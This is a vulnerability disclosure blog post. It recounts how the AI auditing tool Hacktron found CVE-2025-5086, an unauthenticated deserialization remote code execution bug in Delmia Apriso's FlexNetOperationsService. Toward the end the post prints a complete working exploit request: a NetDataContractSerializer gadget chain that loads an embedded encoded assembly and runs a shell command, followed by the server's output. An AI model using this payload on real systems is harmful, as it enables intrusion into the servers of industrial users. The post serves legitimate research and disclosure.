Hacktron

In the early days, we benchmarked Hacktron’s capabilities to browse large codebases and find exploitable vulnerabilities. We focused on real-world codebases that we had previously audited, as prior knowledge helps triage and eliminate false positives.

Delmia Apriso is a manufacturing execution system. At one point Apple hosted it externally, and Boeing, Airbus France, and Lockheed Martin are among its users. Synacktiv and I (while at ProjectDiscovery) have audited its code. Its backend is .NET and the codebase is relatively large, which made it a good candidate for benchmarking Hacktron.

Hacktron ended up finding CVE-2025-5086, a pre-auth remote code execution vulnerability with a 9.0 CVSS severity rating.

Hacktron’s environment and objective

Knowing a few things about .NET, we provided Hacktron with the decompiled source code and the webroot/install directory contents, since configuration files such as web.config are there and apply based on directory structure:

➜ DELMIA-Apriso-2025 ls
flexnet_decompiled_dlls install_dir_contents

We provided Hacktron with the following objective:

Objective

You’re reviewing the C#/ASP.NET-based codebase of a web application called Delmia Apriso FlexNet. The goal is to assess the application for any unauthenticated insecure deserialization risks, especially those that could be triggered through user-controllable input. Focus on identifying patterns where external data is processed in ways that might lead to unsafe deserialization, particularly in the absence of strong validation or protective controls.

After embedding our own knowledge into Hacktron, we wanted to see how it approaches and flags bugs and whether that matches how we would think through an audit ourselves.

Tracing deserialization sinks

Here is how Hacktron thinks about the code:

Thinking

Let’s search for all occurrences of .Deserialize(...) across .cs files. This should reveal common sinks like BinaryFormatter, XmlSerializer, or custom deserializers.

This led to many sinks and multiple paths for Hacktron to explore. One example:

FlexNet.Apriso.ClientComponents.ScreenFlow/ScreenFlow/SfControllerExtender.cs
dictionary2.Add(keyValuePair.Key, SfControllerExtender.Deserialize(keyValuePair.Value.ToString()));

Just seeing a .Deserialize(...) call can look promising, but when Hacktron opened it up, it discovered this:

public static PropertyBag Deserialize(string content)
{
// ...
return JsonConvert.DeserializeObject<Dictionary<string, object>>(content);
}

In other words, it’s just a thin wrapper over JsonConvert.DeserializeObject(...). Hacktron checked whether this JSON call uses any unsafe settings, such as TypeNameHandling. JSON deserialization is usually safe, but if TypeNameHandling is enabled anywhere, an attacker can inject arbitrary types, so it searched the whole codebase for it:

Thinking

This looks like a custom JSON-based deserializer. By default, JsonConvert.DeserializeObject uses TypeNameHandling = None (safe). There’s no JsonSerializerSettings passed here, so nested objects simply get re-parsed recursively. We’d need TypeNameHandling.All (or similar) to let the client dictate type information. Let’s search globally for any TypeNameHandling references.

Terminal window
exec_command('grep -R "TypeNameHandling" -n /app')
# No results

Since no TypeNameHandling reference was found, Hacktron assumed the default setting (TypeNameHandling = None) applies. With that pathway ruled out, it marked this as a dead end and moved on to investigate other parts of the source code.

Thinking

I haven’t found any clear instances of BinaryFormatter.Deserialize or JsonConvert.DeserializeObject with TypeNameHandling enabled that are reachable from unauthenticated user input. The XmlSerializer path seems constrained by the server-side type definition. The Runtime.Deserialize path leads to code I cannot analyze. The SfControllerExtender path using JsonConvert seems safe due to default settings, and I couldn’t trace its origin anyway.

Perhaps I should look for other potentially dangerous serializers like LosFormatter, ObjectStateFormatter, or NetDataContractSerializer.

Finding NetDataContractSerializer

As Hacktron navigates deeper through the codebase, it comes across FlexNetOperationsService.cs.

It detects NetDataContractSerializer, a serializer that embeds .NET type metadata and is dangerous when fed untrusted input.

Thinking

Okay, this is interesting! NetDataContractSerializer is explicitly mentioned via the [NetDataContractSerializerBehavior] attribute applied to the FlexNetOperationsService class in /app/FlexNet.WebUI.WebServices/FlexNetOperationsService.cs.

NetDataContractSerializer is dangerous because, like BinaryFormatter, it includes .NET type information in the serialized data (XML in this case), allowing an attacker to potentially control the type being deserialized. If this service endpoint is reachable without authentication and processes user-supplied data using this serializer, it could lead to arbitrary object deserialization and RCE.

I need to examine FlexNetOperationsService.cs to understand:

  1. What methods does this service expose?

  2. Do any methods take parameters that are deserialized using NetDataContractSerializer?

  3. Is the service accessible without authentication?

Looking at the attributes applied to the FlexNetOperationsService class and the Invoke method:

[NetDataContractSerializerBehavior]
[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
[ServiceBehavior(AddressFilterMode = AddressFilterMode.Any)]
public class FlexNetOperationsService : IFlexNetOperationsService {
public Outcome Invoke(OperationExecutionParameters parameters, out PropertyBag outputs)
}

Confirming the service is reachable pre-auth

The hypothesis below is the interesting part. Hacktron noticed that the WCF service has no auth annotations and that the binding is in web.config, but the service definition is commented out. Would it still be reachable?

Thinking

There are no standard ASP.NET or WCF authorization attributes like [Authorize] or [AllowAnonymous] applied to either the class or the method. In WCF, the absence of explicit security configuration in web.config and the lack of authorization attributes in the code often defaults to no authentication.

Thinking

This main web.config for the /WebServices/ directory provides more context:

  1. FlexNetOperationsService.svc Binding: Lines 64-71 show a commented-out service definition for FlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService. If this were active, it would use the wsHttpBinding named FlexNetConfiguration.

  2. FlexNetConfiguration Binding: Lines 84-90 define the wsHttpBinding named FlexNetConfiguration. Crucially, it confirms <security mode="None">.

  3. Service Implementation: The service implementation class is FlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService.

Hypothesis: Although the service definition for FlexNetOperationsService.svc is commented out in web.config, the .svc file itself exists (/app/install_dir_contents/WebSite/WebServices/FlexNetOperationsService.svc). It’s possible that the service is activated by the presence of the .svc file.

Reporting

Confirming that the service can be accessed pre-auth and does allow deserialization, Hacktron reported the issue to us:

GitHub issue #22 reporting unauthenticated arbitrary deserialization in FlexNetOperationsService

GitHub issue #22 reporting unauthenticated arbitrary deserialization in FlexNetOperationsService

We validated the vulnerability and confirmed RCE via the unauthenticated request below:

PoC HTTP Request
POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke?cmd=dir HTTP/1.1
Host: delmia-apriso
Content-Type: text/xml
SOAPAction: "http://tempuri.org/IFlexNetOperationsService/Invoke"
Content-Length: 9182
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<Invoke xmlns="http://tempuri.org/">
63 collapsed lines
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">&lt;ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
&gt;&#xD;
&lt;s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String"&gt;&#xD;
&lt;x:Arguments&gt;&#xD;
&lt;s:String&gt;H4sIAAAAAAAEAO1WTWwbRRR+YzuO4yRuk5S0RRQ2tEYplMVVDLSoatPEaZIqadLYTUuFlK7XU2fResfMrktSJOilqEhIIMSRIo5F4pBDERUSEgeO9MABiQOHcuNWLlwQonwzu07cxFJ7QRVSnz3fm3nz5s33xvPj2fMfU5yIEij37hHdolBG6cFyBSXzzLcZutl1e+gWm7k9VFp2fKMuRVVaNcO2PE8ERpkbsuEZjmcU5opGTVS42dub3hfFmJ8gmmFxGnzyz2oz7h2KDXWzbqIkhQVyKgsw1olt1/VYyJtoQ2tSsbAap9GrylV9N/S60vI3iMxFCd+ItUnyAlHPQ6zFFgG/VEszhfZUS9sM+EoAXeoIfXWem+aH+YIpfWlTxA0cdaKp+/1gHjUld4Udcb0QxerZ4je2mWYuG+opPaSDfsCkhzAHe5gc28hALk4XSY/viw1jZ6WHES0tkGZawlgXSDSdTh6Y1C3ZBUgOd8LmI6t0b9dOAVO6a1CkleruHO5Ww3sU9AJ6wnAZQEpsAz6PpIonx1jEWKV8KW/mzJHcyMHDytJBLrCO7r3vEv0KvabqxUA6XtVXHh+C5g7ovWeK9EU83B97J89MF6DX0L6m2mOuKEc5YmnZ5I4YdanGX9kRGgzXqztadlXf1lJXJa5HpiOWSdpPzwIX6RXgJWCabtB14PfAJP2G3gzF2F3gGDBJ59k8S9JlYJo+Ytd1FBah+mynnTpXVZ83lP39XTk9Xx/lEGU3qVaXxiG6SU8Bf0TZT7/Qc3SQfqcX6DB6DwIH2KtAE3icTrIjwCobp9N0lU1hxGdshl6nL9lpMpHxEnCAlpFJ4srmvfAptZxLzXS31q22Abq+xcaQ/bocmRWVhsuPkpMXjrWaL5sV16UJqvm2kK5TpuKqH/AazZXf5HZAph0IGdnMhYYXODVujota3XG5LHJ5ybG5T6HBChzhLXDXWtE1/3iAPVFuBJyigcoNXWXHdYLVjd4mk+Y0Z3mZpoKgPi48faqrPFgab0jJvUDbF/hbDe6H9tb6tOId7kMw8mwraEYsOFbVE37g2D7NSwHKfjGwZDDtXRTk6zAVRyJfWL2KJStzjaDeCHTXGZ8Xl7nrTqxwW7GNxpMO0Jxgek5NzK3aArcqXGo6m2KVkErUq1RJTHiVKB2/jtXiUT5R46x0MBlRp001qkC/RLa+2HAuTvx0TlyemP06/knt8z/eGaHUN5ffWNydv/NB3CCWMBhLpdaOLb3X93P6NeyD/r6EQf1PwJ7JdFAsAzRiqCvHWJJY/1D/HuWRxeiMqryoejKpzkSmfw++KRZdkE+rw1CKDZ6VVv2U8CZWbF5XP3RpWYq3fUb7shvb7GjzfWkjuWxra2lcyILrzlqOF25CzvWWVHIvixjb2wb5XwjT5HeFr+h9dnXX5NrYlai349wo3vGW92smlgcuUhE3xCKO6wJq03hpT6E9DTwRvrr0XeLuP+1em2ORVvfC5me5oGdeJIsk4ji43zlienh3hO7fp0eV0GvB6qPfogB+Aq1Q1hJfMRWjCLtEj0fVNpGuaZ/c+idPZbUGdACM2Lp/AcXHXldx6vfNY+g1S7X4LqJIeG/45HB/bhRcd9QLf8Uh0L4euLtYLwunSh0vBywE0KJVzcfEWXMp3H3DmtcM/Kp61Dg86/BTzKq4o4OIU0HPMRfZnWiOJkfvoebK67zmEUPA2kD+wZbsNud2SI85Dg8fnjVEdBHZeOC4x/IfihH+Z5p/+VETeSyPQv4FcLoAngAOAAA=&lt;/s:String&gt;&#xD;
&lt;/x:Arguments&gt;&#xD;
&lt;/s:Array&gt;&#xD;
&lt;i:MemoryStream x:Key="inputStream"&gt;&#xD;
&lt;x:Arguments&gt;&#xD;
&lt;StaticResource ResourceKey="data"&gt;&lt;/StaticResource&gt;&#xD;
&lt;/x:Arguments&gt;&#xD;
&lt;/i:MemoryStream&gt;&#xD;
&lt;c:GZipStream x:Key="gzipStream"&gt;&#xD;
&lt;x:Arguments&gt;&#xD;
&lt;StaticResource ResourceKey="inputStream"&gt;&lt;/StaticResource&gt;&#xD;
&lt;c:CompressionMode&gt;0&lt;/c:CompressionMode&gt;&#xD;
&lt;/x:Arguments&gt;&#xD;
&lt;/c:GZipStream&gt;&#xD;
&lt;s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance"&gt;&#xD;
&lt;x:Arguments&gt;&#xD;
&lt;x:Type TypeName="s:Byte"/&gt;&#xD;
&lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
&lt;/x:Arguments&gt;&#xD;
&lt;/s:Array&gt;&#xD;
&lt;ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read"&gt;&#xD;
&lt;ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
&lt;x:Int32&gt;0&lt;/x:Int32&gt;&#xD;
&lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
&lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;/ObjectDataProvider&gt;&#xD;
&lt;ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load"&gt;&#xD;
&lt;ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
&lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;/ObjectDataProvider&gt;&#xD;
&lt;ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes"&gt;&#xD;
&lt;ObjectDataProvider.MethodParameters/&gt;&#xD;
&lt;/ObjectDataProvider&gt;&#xD;
&lt;ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue"&gt;&#xD;
&lt;ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;s:Int32&gt;0&lt;/s:Int32&gt;&#xD;
&lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;/ObjectDataProvider&gt;&#xD;
&lt;ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember"&gt;&#xD;
&lt;ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;r:BindingFlags&gt;512&lt;/r:BindingFlags&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;x:Null/&gt;&#xD;
&lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
&lt;/ObjectDataProvider&gt;&#xD;
&lt;/ResourceDictionary&gt;</string></Items></ArrayOfstring>
</Invoke>
</s:Body>
</s:Envelope>

The server returned a Windows directory listing:

PoC HTTP Response
...
Volume in drive C is Windows
Volume Serial Number is ...
Directory of c:\windows\system32\inetsrv
03/28/2025 06:12 PM <DIR> .
03/28/2025 06:12 PM <DIR> ..
08/03/2020 08:26 AM <DIR> 0405
08/03/2020 08:26 AM <DIR> 0407
08/03/2020 08:26 AM <DIR> 0409
08/03/2020 08:26 AM <DIR> 040C
08/03/2020 08:26 AM <DIR> 0410
08/03/2020 08:26 AM <DIR> 0412
08/03/2020 08:26 AM <DIR> 0413
08/03/2020 08:26 AM <DIR>
...

Multiple audits missed this vulnerability. Hacktron found the unprotected .svc file and its <security mode="None"> binding in ten minutes.